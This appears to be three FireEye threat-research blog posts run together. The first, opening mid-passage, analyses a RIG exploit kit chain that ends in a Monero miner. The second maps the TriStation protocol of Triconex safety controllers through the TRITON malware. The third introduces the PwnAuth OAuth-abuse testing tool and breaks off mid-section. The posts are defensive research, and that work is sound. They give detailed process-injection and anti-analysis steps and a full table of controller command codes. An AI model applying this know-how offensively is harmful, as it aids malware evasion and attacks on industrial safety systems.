payload, which downloads and executes the Monero miner. The flow chart
for the attack chain is shown in Figure 1.


Figure 1: Attack chain flow chart

Exploit Kit Analysis

When the user visits a compromised site that is injected with an
iframe, the iframe loads the landing page. The iframe injected into a
compromised website is shown in Figure 2.


Figure 2: Injected iframe

The landing page contains three different JavaScripts snippets, each
of which uses a different technique to deliver the payload. Each of
these are not new techniques, so we will only be giving a brief
overview of each one in this post.

JavaScript 1

The first JavaScript has a function, fa, which returns a VBScript
that will be executed using the execScript function, as shown by the
code in Figure 3.


Figure 3: JavaScript 1 code snippet

The VBScript exploits CVE-2016-0189
which allows it to download the payload and execute it using the code
snippet seen in Figure 4.


Figure 4: VBScript code snippet

JavaScript 2

The second JavaScript contains a function that will retrieve
additional JavaScript code and append this script code to the HTML
page using the code snippet seen in Figure 5.


Figure 5: JavaScript 2 code snippet

This newly appended JavaScript exploits CVE-2015-2419
which utilizes a vulnerability in JSON.stringify. This script
obfuscates the call to JSON.stringify by storing pieces of the exploit
in the variables shown in Figure 6.


Figure 6: Obfuscation using variables

Using these variables, the JavaScript calls JSON.stringify with
malformed parameters in order to trigger CVE-2015-2419 which in turn
will cause native code execution, as shown in Figure 7.


Figure 7: Call to JSON.Stringify

JavaScript 3

The third JavaScript has code that adds additional JavaScript,
similar to the second JavaScript. This additional JavaScript adds a
flash object that exploits CVE-2018-4878,
as shown in Figure 8.


Figure 8: JavaScript 3 code snippet

Once the exploitation is successful, the shellcode invokes a command
line to create a JavaScript file with filename u32.tmp, as shown in
Figure 9.


Figure 9: WScript command line

This JavaScript file is launched using WScript, which downloads the
next-stage payload and executes it using the command line in Figure 10.


Figure 10: Malicious command line

Payload Analysis

For this attack, the actor has used multiple payloads and
anti-analysis techniques to bypass the analysis environment. Figure 11
shows the complete malware activity flow chart.


Figure 11: Malware activity flow chart

Analysis of NSIS Loader (SmokeLoader)

The first payload dropped by the RIG EK is a compiled NSIS
executable famously known as SmokeLoader. Apart from NSIS files, the
payload has two components: a DLL, and a data file (named ‘kumar.dll’
and ‘abaram.dat’ in our analysis case). The DLL has an export function
that is invoked by the NSIS executable. This export function has code
to read and decrypt the data file, which yields the second stage
payload (a portable executable file).

The DLL then spawns itself (dropper) in SUSPENDED_MODE and injects
the decrypted PE using process hollowing.

Analysis of Injected Code (Second Stage Payload)

The second stage payload is a highly obfuscated executable. It
consists of a routine that decrypts a chunk of code, executes it, and
re-encrypts it.

At the entry point, the executable contains code that checks the OS
major version, which it extracts from the Process Environment Block
(PEB). If the OS version value is less than 6 (prior to Windows
Vista), the executable terminates itself. It also contains code that
checks whether the executable is in debugged mode, which it extracts
from offset 0x2 of the PEB. If the BeingDebugged flag is set,
the executable terminates itself.

The malware also implements an Anti-VM check by opening the registry
key HKLMSYSTEMControlSet001ServicesDiskEnum with value 0.

It checks whether the registry value data contains any of the
strings: vmware, virtual, qemu, or xen.  Each of these strings is
indictative of virtual machines

After running the anti-analysis and environment check, the malware
starts executing the core code to perform the malicious activity.

The malware uses the PROPagate
injection method
to inject and execute the code in a targeted
process. The PROPagate method is similar to the SetWindowLong
injection technique. In this method, the malware uses the SetPropA
function to modify the callback for UxSubclassInfo and cause the
remote process to execute the malicious code.

This code injection technique only works for a process with lesser
or equal integrity level. The malware first checks whether the
integrity of the current running process is medium integrity level
(2000, SECURITY_MANDATORY_MEDIUM_RID). Figure 12 shows the code snippet.


Figure 12: Checking integrity level of
current process

If the process is higher than medium integrity level, then the
malware proceeds further. If the process is lower than medium
integrity level, the malware respawns itself with medium integrity.

The malware creates a file mapping object and writes the dropper
file path to it and the same mapping object is accessed by injected
code, to read the dropper file path and delete the dropper file. The
name of the mapping object is derived from the volume serial number of
the system drive and a XOR operation with the hardcoded value (Figure 13).

File Mapping Object Name = “Volume Serial Number” + “Volume Serial
Number” XOR 0x7E766791


Figure 13: Creating file mapping object name

The malware then decrypts the third stage payload using XOR and
decompresses it with RTLDecompressBuffer. The third stage payload is
also a PE executable, but the author has modified the header of the
file to avoid it being detected as a PE file in memory scanning. After
modifying several header fields at the start of decrypted data, we can
get the proper executable header (Figure 14).


Figure 14: Injected executable without
header (left), and with header (right)

After decrypting the payload, the malware targets the shell process,
explorer.exe, for malicious code injection. It uses GetShellWindow and
GetWindowThreadProcessId APIs to get the shell window’s thread ID
(Figure 15).


Figure 15: Getting shell window thread ID

The malware injects and maps the decrypted PE in a remote process
(explorer.exe). It also injects shellcode that is configured as a
callback function in SetPropA.

After injecting the payload into the target process, it uses
EnumChild and EnumProps functions to enumerate all entries in the
property list of the shell window and compares it with UxSubclassInfo

After finding the UxSubclassInfo property of the shell window, it
saves the handle info and uses it to set the callback function through SetPropA.

SetPropA has three arguments, the third of which is data. The
callback procedure address is stored at the offset 0x14 from the
beginning of data. Malware modifies the callback address with the
injected shellcode address (Figure 16).


Figure 16: Modifying callback function

The malware then sends a specific message to the window to execute
the callback procedure corresponding to the UxSubclassInfo property,
which leads to the execution of the shellcode.

The shellcode contains code to execute the address of the entry
point of the injected third stage payload using CreateThread. It then
resets the callback for SetPropA, which was modified by malware during
PROPagate injection. Figure 17 shows the code snippet of the injected shellcode.


Figure 17: Assembly view of injected shellcode

Analysis of Third Stage Payload

Before executing the malicious code, the malware performs
anti-analysis checks to make sure no analysis tool is running in the
system. It creates two infinitely running threads that contain code to
implement anti-analysis checks.

The first thread enumerates the processes using
CreateToolhelp32Snapshot and checks for the process names generally
used in analysis. It generates a DWORD hash value from the process
name using a custom operation and compares it with the array of
hardcoded DWORD values. If the generated value matches any value in
the array, it terminates the corresponding process.

The second thread enumerates the windows using EnumWindows. It uses
GetClassNameA function to extract the class name associated with the
corresponding window. Like the first thread, it generates a DWORD hash
value from the class name using a custom operation and compares it
with the array of hardcoded DWORD values. If the generated value
matches any value in the array, it terminates the process related to
the corresponding window.

Other than these two anti-analysis techniques, it also has code to
check the internet connectivity by trying to reach the URL: www.msftncsi[.]com/ncsi.txt.

To remain persistent in the system, the malware installs a scheduled
task and a shortcut file in %startup% folder. The scheduled task is
named “Opera Scheduled Autoupdate {Decimal Value of GetTickCount()}”.

The malware then communicates with the malicious URL to download the
final payload, which is a Monero miner. It creates a MD5 hash value
using Microsoft CryptoAPIs from the computer name and the volume
information and sends the hash to the server in a POST request. Figure
18 shows the network communication.


Figure 18: Network communication

The malware then downloads the final payload, the Monero miner, from
the server and installs it in the system.

Conclusion

Although we have been observing a decline in Exploit Kit activity,
attackers are not abandoning them altogether. In this blog post, we
explored how RIG EK is being used with various exploits to compromise
endpoints. We have also shown how the NSIS Loader leverages the lesser
known PROPagate process injection technique, possibly in an attempt to
evade security products.

FireEye MVX and the FireEye Endpoint Security (HX) platform detect
this attack at several stages of the attack chain.

Acknowledgement

We would like to thank Sudeep Singh and Alex Berry for their
contributions to this blog post.

Go to Source
Author: Sudhanshu Dubey

A Totally Tubular Treatise on TRITON and TriStation

Introduction

In December 2017, FireEye’s Mandiant discussed an
incident response involving the TRITON
framework
. The TRITON attack and many of the publicly discussed
ICS intrusions involved routine techniques where the threat actors
used only what is necessary to succeed in their mission. For both
INDUSTROYER and TRITON, the attackers moved from the IT network to the
OT (operational technology) network through systems that were
accessible to both environments. Traditional malware backdoors,
Mimikatz distillates, remote desktop sessions, and other
well-documented, easily-detected attack methods were used throughout
these intrusions.

Despite the routine techniques employed to gain access to an OT
environment, the threat actors behind the TRITON malware framework
invested significant time learning about the Triconex Safety
Instrumented System (SIS) controllers and TriStation, a proprietary
network communications protocol. The investment and purpose of the
Triconex SIS controllers leads Mandiant to assess the attacker’s
objective was likely to build the capability to cause physical consequences.

TriStation remains closed source and there is no official public
information detailing the structure of the protocol, raising several
questions about how the TRITON framework was developed. Did the actor
have access to a Triconex controller and TriStation 1131 software
suite? When did development first start? How did the threat actor
reverse engineer the protocol, and to what extent? What is the
protocol structure?

FireEye’s Advanced Practices Team was born to investigate adversary
methodologies, and to answer these types of questions, so we started
with a deeper look at the TRITON’s own Python scripts.

Glossary:

  • TRITON – Malware
    framework designed to operate Triconex SIS controllers via the
    TriStation protocol.
  • TriStation – UDP network protocol
    specific to Triconex controllers.
  • TRITON threat actor – The
    human beings who developed, deployed and/or operated TRITON.

Diving into TRITON’s Implementation of TriStation

TriStation is a proprietary network protocol and there is no public
documentation detailing its structure or how to create software
applications that use TriStation. The current TriStation UDP/IP
protocol is little understood, but natively implemented through the
TriStation 1131 software suite. TriStation operates by UDP over port
1502 and allows for communications between designated masters (PCs
with the software that are “engineering workstations”) and slaves
(Triconex controllers with special communications modules) over a network.

To us, the Triconex systems, software and associated terminology
sound foreign and complicated, and the TriStation protocol is no
different. Attempting to understand the protocol from ground zero
would take a considerable amount of time and reverse engineering
effort – so why not learn from TRITON itself? With the TRITON
framework containing TriStation communication functionality, we
pursued studying the framework to better understand this mysterious
protocol. Work smarter, not harder, amirite?

The TRITON
framework
has a multitude of functionalities, but we started with
the basic components:

  • TS_cnames.pyc # Compiled
    at: 2017-08-03 10:52:33
  • TsBase.pyc # Compiled at:
    2017-08-03 10:52:33
  • TsHi.pyc # Compiled at: 2017-08-04
    02:04:01
  • TsLow.pyc # Compiled at: 2017-08-03 10:46:51

TsLow.pyc (Figure 1) contains several pieces of code for error
handling, but these also present some cues to the protocol structure.


Figure 1: TsLow.pyc function print_last_error()

In the TsLow.pyc’s function for print_last_error we see error
handling for “TCM Error”. This compares the TriStation packet value at
offset 0 with a value in a corresponding array from TS_cnames.pyc
(Figure 2), which is largely used as a “dictionary” for the protocol.


Figure 2: TS_cnames.pyc TS_cst array.

From this we can infer that offset 0 of the TriStation protocol
contains message types. This is supported by an additional function,
tcm_result, which declares type, size = struct.unpack(‘<HH’,
data_received[0:4]), stating that the first two bytes should be
handled as integer type and the second two bytes are integer size of
the TriStation message. This is our first glimpse into what the threat
actor(s) understood about the TriStation protocol.

Since there are only 11 defined message types, it really doesn’t
matter much if the type is one byte or two because the second byte
will always be 0x00.

We also have indications that message type 5 is for all Execution
Command Requests and Responses, so it is curious to observe that the
TRITON developers called this “Command Reply.” (We won’t understand
this naming convention until later.)

Next we examine TsLow.pyc’s print_last_error function (Figure 3) to
look at “TS Error” and “TS_names.” We begin by looking at the ts_err
variable and see that it references ts_result.


Figure 3: TsLow.pyc function
print_last_error() with ts_err highlighted

We follow that thread to ts_result, which defines a few variables in
the next 10 bytes (Figure 4): dir, cid, cmd, cnt, unk, cks, siz =
struct.unpack(‘<, ts_packet[0:10]). Now things are heating up. What
fun. There’s a lot to unpack here, but the most interesting thing is
how this piece script breaks down 10 bytes from ts_packet into
different variables.


Figure 4: ts_result with ts_packet header
variables highlighted


Figure 5: tcm_result

Referencing tcm_result (Figure 5) we see that it defines type and
size as the first four bytes (offset 0 – 3) and tcm_result returns the
packet bytes 4:-2 (offset 4 to the end minus 2, because the last two
bytes are the CRC-16 checksum). Now that we know where tcm_result
leaves off, we know that the ts_reply “cmd” is a single byte at offset
6, and corresponds to the values in the TS_cnames.pyc array and
TS_names (Figure 6). The TRITON script also tells us that any integer
value over 100 is a likely “command reply.” Sweet.

When looking back at the ts_result packet header definitions, we
begin to see some gaps in the TRITON developer’s knowledge: dir, cid,
cmd, cnt, unk, cks, siz = struct.unpack(‘<, ts_packet[0:10]). We’re
clearly speculating based on naming conventions, but we get an
impression that offsets 4, 5 and 6 could be “direction”,
“controller ID” and “command”, respectively.
Values such as “unk” show that the developer either did not
know or did not care to identify this value. We suspect it is a
constant, but this value is still unknown to us.


Figure 6: Excerpt TS_cnames.pyc TS_names
array, which contain TRITON actor’s notes for execution command
function codes.

TriStation Protocol Packet Structure

The TRITON threat actor’s knowledge and reverse engineering effort
provides us a better understanding of the protocol. From here we can
start to form a more complete picture and document the basic
functionality of TriStation. We are primarily interested in message
type 5, Execution Command, which best illustrates the overall
structure of the protocol. Other, smaller message types will have
varying structure.


Figure 7: Sample TriStation
“Allocate Program” Execution Command, with color
annotation and protocol legend.

Corroborating the TriStation Analysis

Minute discrepancies aside, the TriStation structure detailed in
Figure 7 is supported by other public analyses. Foremost, researchers
from the Coordinated Science Laboratory (CSL) at University of
Illinois at Urbana-Champaign published a 2017 paper titled “Attack
Induced Common-Mode Failures on PLC-based Safety System in
a
Nuclear Power Plant”. The CSL team mentions that they used the
Triconex System Access Application (TSAA) protocol to reverse engineer
elements of the TriStation protocol. TSAA is a protocol developed by
the same company as TriStation. Unlike TriStation, the TSAA protocol
structure is described within official documentation. CSL assessed
similarities between the two protocols would exist and they leveraged
TSAA to better understand TriStation. The team’s overall research and
analysis of the general packet structure aligns with our
TRITON-sourced packet structure.

There are some awesome blog posts and whitepapers out there that
support our findings in one way or another. Writeups by Midnight
Blue Labs
, Accenture,
and US-CERT
each explain how the TRITON framework relates to the TriStation
protocol in superb detail.

TriStation’s Reverse Engineering and TRITON’s Development

When TRITON was discovered, we began to wonder how the TRITON actor
reverse engineered TriStation and implemented it into the framework.
We have a lot of theories, all of which seemed plausible: Did they
build, buy, borrow, or steal? Or some combination thereof?

Our initial theory was that the threat actor purchased a Triconex
controller and software for their own testing and reverse engineering
from the “ground up”, although if this was the case we do
not believe they had a controller with the exact vulnerable firmware
version, else they would have had fewer problems with TRITON in
practice at the victim site. They may have bought or used a demo
version of the TriStation 1131 software, allowing them to reverse
engineer enough of TriStation for the framework. They may have stolen
TriStation Python libraries from ICS companies, subsidiaries or system
integrators and used the stolen material as a base for TriStation and
TRITON development. But then again, it is possible that they borrowed
TriStation software, Triconex hardware and Python connectors from
government-owned utility that was using them legitimately.

Looking at the raw TRITON code, some of the comments may appear
oddly phrased, but we do get a sense that the developer is clearly
using many of the right vernacular and acronyms, showing smarts on PLC
programming. The TS_cnames.pyc script contains interesting typos such
as ‘Set lable’, ‘Alocate network accepted’, ‘Symbol table ccepted’ and
‘Set program information reponse’. These appear to be normal human
error and reflect neither poor written English nor laziness in coding.
The significant amount of annotation, cascading logic, and robust
error handling throughout the code suggests thoughtful development and
testing of the framework. This complicates the theory of “ground
up” development, so did they base their code on something else?

While learning from the TriStation functionality within TRITON, we
continued to explore legitimate TriStation software. We began our
search for “TS1131.exe” and hit dead ends sorting through
TriStation DLLs until we came across a variety of TriStation utilities
in MSI form. We ultimately stumbled across a juicy archive containing
“Trilog v4.” Upon further inspection, this file installed
“TriLog.exe,” which the original TRITON executable mimicked,
and a couple of supporting DLLs, all of which were timestamped around
August 2006.

When we saw the DLL file description “Tricon Communications
Interface” and original file name “TricCom.DLL”, we
knew we were in the right place. With a simple look at the file
strings, “BAZINGA!” We struck gold.

File Name tr1com40.dll
MD5 069247DF527A96A0E048732CA57E7D3D
Size 110592
Compile Date 2006-08-23
File Description Tricon Communications Interface
Product Name TricCom Dynamic Link Library
File Version 4.2.441
Original File Name TricCom.DLL
Copyright Copyright © 1993-2006 Triconex Corporation

The tr1com40.DLL is exactly what you would expect to see in a custom
application package. It is a library that helps support the
communications for a Triconex controller. If you’ve pored over TRITON
as much as we have, the moment you look at strings you can see the
obvious overlaps between the legitimate DLL and TRITON’s own TS_cnames.pyc.


Figure 8: Strings excerpt from tr1com40.DLL

Each of the execution command “error codes” from
TS_cnames.pyc are in the strings of tr1com40.DLL (Figure 8). We see
“An MP has re-educated” and “Invalid Tristation I
command”. Even misspelled command strings verbatim such as
“Non-existant data item” and “Alocate network
accepted”. We also see many of the same unknown values. What is
obvious from this discovery is that some of the strings in TRITON are
likely based on code used in communications libraries for Trident and
Tricon controllers.

In our brief survey of the legitimate Triconex Corporation binaries,
we observed a few samples with related string tables.

Pe:dllname Compile Date Reference CPP Strings Code
Lagcom40.dll 2004/11/19 $Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21
1999 17:17:26  $ $Revision:   1.0
Tr1com40.dll 2006/08/23 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16
2006 09:55:20  $ $Revision:   1.4
Tridcom.dll 2008/07/23 $Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21
1999 17:17:26  $ $Revision:   1.0
Triccom.dll 2008/07/23 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16
2006 09:55:20  $ $Revision:   1.4
Tridcom.dll 2010/09/29 $Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21
1999 17:17:26  $ $Revision:   1.0
Tr1com.dll 2011/04/27 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16
2006 09:55:20  $ $Revision:   1.4
Lagcom.dll 2011/04/27 $Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21
1999 17:17:26  $ $Revision:   1.0
Triccom.dll 2011/04/27 $Workfile:   TR1STRS.CPP  $ $Modtime:   May 16
2006 09:55:20  $ $Revision:   1.4

We extracted the CPP string tables in TR1STRS and LAGSTRS and the
TS_cnames.pyc TS_names array from TRITON, and compared the 210, 204,
and 212 relevant strings from each respective file.

TS_cnames.pyc TS_names and tr1com40.dll share 202 of 220 combined
table strings. The remaining strings are unique to each, as seen here:

TS_cnames.TS_names (2017 pyc) Tr1com40.dll (2006 CPP)
Go to DOWNLOAD mode <200>
Not set <209>
Unk75 Bad message from module
Unk76 Bad message type
Unk77 Bad TMI version number
Unk78 Module did not respond
Unk79 Open Connection: Invalid SAP %d
Unk81 Unsupported message for this TMI version
Unk83
Wrong command

TS_cnames.pyc TS_names and Tridcom.dll (1999 CPP) shared only 151 of
268 combined table strings, showing a much smaller overlap with the
seemingly older CPP library. This makes sense based on the context
that Tridcom.dll is meant for a Trident controller, not a Tricon
controller. It does seem as though Tr1com40.dll and TR1STRS.CPP code
was based on older work.

We are not shocked to find that the threat actor reversed legitimate
code to bolster development of the TRITON framework. They want to work
smarter, not harder, too. But after reverse engineering legitimate
software and implementing the basics of the TriStation, the threat
actors still had an incomplete understanding of the protocol. In
TRITON’s TS_cnames.pyc we saw “Unk75”, “Unk76”,
“Unk83” and other values that were not present in the
tr1com40.DLL strings, indicating that the TRITON threat actor may have
explored the protocol and annotated their findings beyond what they
reverse engineered from the DLL. The gaps in TriStation implementation
show us why the actors encountered problems interacting with the
Triconex controllers when using TRITON in the wild.

You can see more of the Trilog and Triconex DLL files on VirusTotal.

Item Name MD5 Description
Tr1com40.dll 069247df527a96a0e048732ca57e7d3d Tricom Communcations DLL
Data1.cab e6a3c93a6d433cbaf6f573b6c09d76c4 Parent of Tr1com40.dll
Trilog v4.1.360R 13a3b83ba2c4236ca59aba679941c8a5 RAR Archive of TriLog
TridCom.dll 5c2ed617fdec4779cb33c89082a43100 Trident Communications
DLL

Afterthoughts

Seeing Triconex systems targeted with malicious intent was new to
the world six months ago. Moving forward it would be reasonable to
anticipate additional frameworks, such as TRITON, designed for usage
against other SIS controllers and associated technologies. If Triconex
was within scope, we may see similar attacker methodologies affecting
the dominant industrial safety technologies.

Basic security measures do little to thwart truly persistent threat
actors and monitoring only IT networks is not an ideal situation.
Visibility into both the IT and OT environments is critical for
detecting the various stages of an ICS intrusion. Simple detection
concepts such as baseline deviation can provide insight into abnormal activity.

While the TRITON framework was actively in use, how many traditional
ICS “alarms” were set off while the actors tested their exploits and
backdoors on the Triconex controller? How many times did the
TriStation protocol, as implemented in their Python scripts, fail or
cause errors because of non-standard traffic? How many TriStation UDP
pings were sent and how many Connection Requests? How did these
statistics compare to the baseline for TriStation traffic? There are
no answers to these questions for now. We believe that we can identify
these anomalies in the long run if we strive for increased visibility
into ICS technologies.

We hope that by holding public discussions about ICS technologies,
the Infosec community can cultivate closer relationships with ICS
vendors and give the world better insight into how attackers move from
the IT to the OT space. We want to foster more conversations like this
and generally share good techniques for finding evil. Since most of
all ICS attacks involve standard IT intrusions, we should probably
come together to invent and improve any guidelines for how to monitor
PCs and engineering workstations that bridge the IT and OT networks.
We envision a world where attacking or disrupting ICS operations costs
the threat actor their cover, their toolkits, their time, and their
freedom. It’s an ideal world, but something nice to shoot for.

Thanks and Future Work

There is still much to do for TRITON and TriStation. There are many
more sub-message types and nuances for parsing out the nitty gritty
details, which is hard to do without a controller of our own. And
although we’ve published much of what we learned about the TriStation
here on the blog, our work will continue as we continue our study of
the protocol.

Thanks to everyone who did so much public research on TRITON and
TriStation. We have cited a few individuals in this blog post, but
there is a lot more community-sourced information that gave us clues
and leads for our research and testing of the framework and protocol.
We also have to acknowledge the research performed by the TRITON
attackers. We borrowed a lot of your knowledge about TriStation from
the TRITON framework itself.

Finally, remember that we’re here to collaborate. We think most of
our research is right, but if you notice any errors or omissions, or
have ideas for improvements, please contact: smiller@fireeye.com.

Recommended Reading

Appendix A: TriStation Message Type Codes

The following table consists of hex values at offset 0 in the
TriStation UDP packets and the associated dictionary definitions,
extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x0 Message Type
1 Connection Request
2 Connection Response
3 Disconnect Request
4 Disconnect Response
5 Execution Command
6 Ping Command
7 Connection Limit Reached
8 Not Connected
9 MPS Are Dead
10 Access Denied
11 Connection Failed

Appendix B: TriStation Execution Command Function Codes

The following table consists of hex values at offset 6 in the
TriStation UDP packets and the associated dictionary definitions,
extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x6 TS_cnames String
0 0: ‘Start download all’,
1 1: ‘Start download change’,
2 2: ‘Update configuration’,
3 3: ‘Upload configuration’,
4 4: ‘Set I/O addresses’,
5 5: ‘Allocate network’,
6 6: ‘Load vector table’,
7 7: ‘Set calendar’,
8 8: ‘Get calendar’,
9 9: ‘Set scan time’,
A 10: ‘End download all’,
B 11: ‘End download change’,
C 12: ‘Cancel download change’,
D 13: ‘Attach TRICON’,
E 14: ‘Set I/O address limits’,
F 15: ‘Configure module’,
10 16: ‘Set multiple point values’,
11 17: ‘Enable all points’,
12 18: ‘Upload vector table’,
13 19: ‘Get CP status ‘,
14 20: ‘Run program’,
15 21: ‘Halt program’,
16 22: ‘Pause program’,
17 23: ‘Do single scan’,
18 24: ‘Get chassis status’,
19 25: ‘Get minimum scan time’,
1A 26: ‘Set node number’,
1B 27: ‘Set I/O point values’,
1C 28: ‘Get I/O point values’,
1D 29: ‘Get MP status’,
1E 30: ‘Set retentive values’,
1F 31: ‘Adjust clock calendar’,
20 32: ‘Clear module alarms’,
21 33: ‘Get event log’,
22 34: ‘Set SOE block’,
23 35: ‘Record event log’,
24 36: ‘Get SOE data’,
25 37: ‘Enable OVD’,
26 38: ‘Disable OVD’,
27 39: ‘Enable all OVDs’,
28 40: ‘Disable all OVDs’,
29 41: ‘Process MODBUS’,
2A 42: ‘Upload network’,
2B 43: ‘Set lable’,
2C 44: ‘Configure system variables’,
2D 45: ‘Deconfigure module’,
2E 46: ‘Get system variables’,
2F 47: ‘Get module types’,
30 48: ‘Begin conversion table download’,
31 49: ‘Continue conversion table download’,
32 50: ‘End conversion table download’,
33 51: ‘Get conversion table’,
34 52: ‘Set ICM status’,
35 53: ‘Broadcast SOE data available’,
36 54: ‘Get module versions’,
37 55: ‘Allocate program’,
38 56: ‘Allocate function’,
39 57: ‘Clear retentives’,
3A 58: ‘Set initial values’,
3B 59: ‘Start TS2 program download’,
3C 60: ‘Set TS2 data area’,
3D 61: ‘Get TS2 data’,
3E 62: ‘Set TS2 data’,
3F 63: ‘Set program information’,
40 64: ‘Get program information’,
41 65: ‘Upload program’,
42 66: ‘Upload function’,
43 67: ‘Get point groups’,
44 68: ‘Allocate symbol table’,
45 69: ‘Get I/O address’,
46 70: ‘Resend I/O address’,
47 71: ‘Get program timing’,
48 72: ‘Allocate multiple functions’,
49 73: ‘Get node number’,
4A 74: ‘Get symbol table’,
4B 75: ‘Unk75’,
4C 76: ‘Unk76’,
4D 77: ‘Unk77’,
4E 78: ‘Unk78’,
4F 79: ‘Unk79’,
50 80: ‘Go to DOWNLOAD mode’,
51 81: ‘Unk81’,
52
53 83: ‘Unk83’,
54
55
56
57
58
59
5A
5B
5C
5D
5E
5F
60
61
62
63
64 100: ‘Command rejected’,
65 101: ‘Download all permitted’,
66 102: ‘Download change permitted’,
67 103: ‘Modification accepted’,
68 104: ‘Download cancelled’,
69 105: ‘Program accepted’,
6A 106: ‘TRICON attached’,
6B 107: ‘I/O addresses set’,
6C 108: ‘Get CP status response’,
6D 109: ‘Program is running’,
6E 110: ‘Program is halted’,
6F 111: ‘Program is paused’,
70 112: ‘End of single scan’,
71 113: ‘Get chassis configuration response’,
72 114: ‘Scan period modified’,
73 115: ‘<115>’,
74 116: ‘<116>’,
75 117: ‘Module configured’,
76 118: ‘<118>’,
77 119: ‘Get chassis status response’,
78 120: ‘Vectors response’,
79 121: ‘Get I/O point values response’,
7A 122: ‘Calendar changed’,
7B 123: ‘Configuration updated’,
7C 124: ‘Get minimum scan time response’,
7D 125: ‘<125>’,
7E 126: ‘Node number set’,
7F 127: ‘Get MP status response’,
80 128: ‘Retentive values set’,
81 129: ‘SOE block set’,
82 130: ‘Module alarms cleared’,
83 131: ‘Get event log response’,
84 132: ‘Symbol table ccepted’,
85 133: ‘OVD enable accepted’,
86 134: ‘OVD disable accepted’,
87 135: ‘Record event log response’,
88 136: ‘Upload network response’,
89 137: ‘Get SOE data response’,
8A 138: ‘Alocate network accepted’,
8B 139: ‘Load vector table accepted’,
8C 140: ‘Get calendar response’,
8D 141: ‘Label set’,
8E 142: ‘Get module types response’,
8F 143: ‘System variables configured’,
90 144: ‘Module deconfigured’,
91 145: ‘<145>’,
92 146: ‘<146>’,
93 147: ‘Get conversion table response’,
94 148: ‘ICM print data sent’,
95 149: ‘Set ICM status response’,
96 150: ‘Get system variables response’,
97 151: ‘Get module versions response’,
98 152: ‘Process MODBUS response’,
99 153: ‘Allocate program response’,
9A 154: ‘Allocate function response’,
9B 155: ‘Clear retentives response’,
9C 156: ‘Set initial values response’,
9D 157: ‘Set TS2 data area response’,
9E 158: ‘Get TS2 data response’,
9F 159: ‘Set TS2 data response’,
A0 160: ‘Set program information reponse’,
A1 161: ‘Get program information response’,
A2 162: ‘Upload program response’,
A3 163: ‘Upload function response’,
A4 164: ‘Get point groups response’,
A5 165: ‘Allocate symbol table response’,
A6 166: ‘Program timing response’,
A7 167: ‘Disable points full’,
A8 168: ‘Allocate multiple functions
response’,
A9 169: ‘Get node number response’,
AA 170: ‘Symbol table response’,
AB
AC
AD
AE
AF
B0
B1
B2
B3
B4
B5
B6
B7
B8
B9
BA
BB
BC
BD
BE
BF
C0
C1
C2
C3
C4
C5
C6
C7
C8 200: ‘Wrong command’,
C9 201: ‘Load is in progress’,
CA 202: ‘Bad clock calendar data’,
CB 203: ‘Control program not halted’,
CC 204: ‘Control program checksum error’,
CD 205: ‘No memory available’,
CE 206: ‘Control program not valid’,
CF 207: ‘Not loading a control program’,
D0 208: ‘Network is out of range’,
D1 209: ‘Not enough arguments’,
D2 210: ‘A Network is missing’,
D3 211: ‘The download time mismatches’,
D4 212: ‘Key setting prohibits this
operation’,
D5 213: ‘Bad control program version’,
D6 214: ‘Command not in correct sequence’,
D7 215: ‘<215>’,
D8 216: ‘Bad Index for a module’,
D9 217: ‘Module address is invalid’,
DA 218: ‘<218>’,
DB 219: ‘<219>’,
DC 220: ‘Bad offset for an I/O point’,
DD 221: ‘Invalid point type’,
DE 222: ‘Invalid Point Location’,
DF 223: ‘Program name is invalid’,
E0 224: ‘<224>’,
E1 225: ‘<225>’,
E2 226: ‘<226>’,
E3 227: ‘Invalid module type’,
E4 228: ‘<228>’,
E5 229: ‘Invalid table type’,
E6 230: ‘<230>’,
E7 231: ‘Invalid network continuation’,
E8 232: ‘Invalid scan time’,
E9 233: ‘Load is busy’,
EA 234: ‘An MP has re-educated’,
EB 235: ‘Invalid chassis or slot’,
EC 236: ‘Invalid SOE number’,
ED 237: ‘Invalid SOE type’,
EE 238: ‘Invalid SOE state’,
EF 239: ‘The variable is write protected’,
F0 240: ‘Node number mismatch’,
F1 241: ‘Command not allowed’,
F2 242: ‘Invalid sequence number’,
F3 243: ‘Time change on non-master TRICON’,
F4 244: ‘No free Tristation ports’,
F5 245: ‘Invalid Tristation I command’,
F6 246: ‘Invalid TriStation 1131 command’,
F7 247: ‘Only one chassis allowed’,
F8 248: ‘Bad variable address’,
F9 249: ‘Response overflow’,
FA 250: ‘Invalid bus’,
FB 251: ‘Disable is not allowed’,
FC 252: ‘Invalid length’,
FD 253: ‘Point cannot be disabled’,
FE 254: ‘Too many retentive variables’,
FF 255: ‘LOADER_CONNECT’,
256: ‘Unknown reject code’

Go to Source
Author: Steve Miller

Shining a Light on OAuth Abuse with PwnAuth

Introduction

Spear phishing attacks are seen as one of the biggest cyber threats
to an organization. It only takes one employee to enter their
credentials or run some malware for an entire organization to become
compromised. As such, companies devote significant resources to
preventing credential harvesting and payload-driven social engineering
attacks. Less attention, however, has been paid to a non-traditional,
but just as dangerous, method of social engineering: OAuth abuse. In
an OAuth abuse attack, a victim authorizes a third-party application
to access their account. Once authorized, the application can access
the user’s data without the need for credentials and bypassing any
two-factor authentication that may be in place.

Today, I’m releasing PwnAuth, a platform to
allow organizations and penetration testers an opportunity to test
their ability to detect and respond to OAuth abuse social engineering
campaigns. In releasing the tool, we hope to increase awareness about
this threat, improve the security community’s ability to detect it,
and provide countermeasures for defenders.

Head over to our GitHub to start using PwnAuth.

What is OAuth?

OAuth 2.0 is described as “An open protocol to allow secure
authorization in a simple and standard method from web, mobile and
desktop applications…” It has become the de facto protocol that
major Internet companies such as Amazon, Google, Facebook, and
Microsoft use to facilitate granting third-party applications access
to user data. An application that accesses your Microsoft OneDrive to
allow for easy file sharing is an example of an application that would
leverage OAuth.

Let’s use an application accessing OneDrive as an example to define
some roles in an OAuth authorization flow:

The Application, or “Client”

The third-party application that is requesting access. In this case,
the application that wishes to access your OneDrive files is the “Client.”

The API “Resource”

The target application the “Client” wishes to access. In
this case, the Microsoft OneDrive API endpoint is the “Resource.”

The “Resource Owner”

The person granting access to a portion of their account. In this
case, you.

The Authorization Server

